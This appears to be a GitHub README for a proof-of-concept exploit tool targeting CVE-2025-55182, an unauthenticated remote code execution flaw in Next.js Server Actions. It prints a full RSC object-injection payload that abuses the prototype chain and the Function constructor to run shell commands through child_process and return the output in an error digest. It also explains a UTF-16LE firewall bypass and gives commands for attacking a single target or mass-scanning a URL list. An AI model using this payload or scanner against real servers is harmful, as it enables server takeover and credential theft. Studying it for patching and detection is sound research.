ceh-aditya-raj/cve-2025-55182Proof-of-concept exploit for CVE-2025-55182, demonstrating unauthenticated RCE in Next.js App Router via server-side object injection in React Server Components, with UTF-16LE WAF bypass.
NextRce is a security research tool demonstrating CVE-2025-55182, a critical vulnerability in Next.js App Router applications using React Server Components (RSC) and Server Actions.
This vulnerability allows an attacker to achieve unauthenticated Remote Code Execution (RCE) by abusing how Next.js processes Server Action responses and resolves serialized RSC payloads on the server.
CVE-2025-55182 exists in the Next.js App Router architecture and can be classified as a server-side object injection / prototype chain abuse issue occurring during the handling of multipart/form-data requests.
When a Server Action is triggered, the Next.js server trusts and deserializes structured client input. By sending a specially crafted payload, an attacker can manipulate internal resolution logic and execute arbitrary system commands in the Node.js runtime.
The vulnerability arises due to the following combined factors:
Server Actions Trust Model
Server Actions accept structured client payloads that are processed through internal React Server Component resolution logic with insufficient validation.
Object Injection During RSC Resolution
Crafted payloads can abuse JavaScript prototype chains and constructor references, allowing escape from the intended object scope.
Insufficient Sanitization
Internal fields such as then, _response, and form-data getters are not adequately protected against malicious manipulation.
Encoding-Based WAF Bypass
Many Web Application Firewalls focus on UTF-8 or standard JSON. Encoding payloads as UTF-16LE allows them to bypass inspection while still being decoded correctly by the Next.js server.
The exploit relies on injecting a crafted RSC payload inside a multipart request.
A simplified version of the payload is shown below:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('{cmd}').toString('base64'); throw Object.assign(new Error('x'),{digest: res});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
1. Prototype Chain Hijack
"then": "$1:__proto__:then"then property, interfering with how Promises are resolved during React Server Component processing in the Next.js runtime.2. Constructor Escape
"_formData": { "get": "$1:constructor:constructor" }Function constructor, enabling execution of arbitrary JavaScript outside the intended sandbox.3. Remote Code Execution
process.mainModule .require('child_process') .execSync('{cmd}')4. Digest-Based Output Exfiltration
throw Object.assign(new Error('x'), { digest: res });5. WAF Bypass (UTF-16LE)
Content-Type: text/plain; charset=utf-16leSuccessful exploitation of CVE-2025-55182 may result in:
🔥 Full Remote Code Execution
🗄️ Access to sensitive data and credentials
🔗 Lateral movement within infrastructure
📦 Supply-chain compromise
🚨 Complete server takeover
Severity: Critical
Authentication Required: No
To protect against CVE-2025-55182:
Single Target
python3 exploit.py -u https://target.com -c "whoami"Mass Scan with WAF Bypass
python3 exploit.py -l urls.txt -B -t 50This project is provided strictly for educational, research, and authorized security testing purposes.
Do NOT use this tool against systems you do not own or have explicit permission to test.
The author assumes no responsibility for misuse.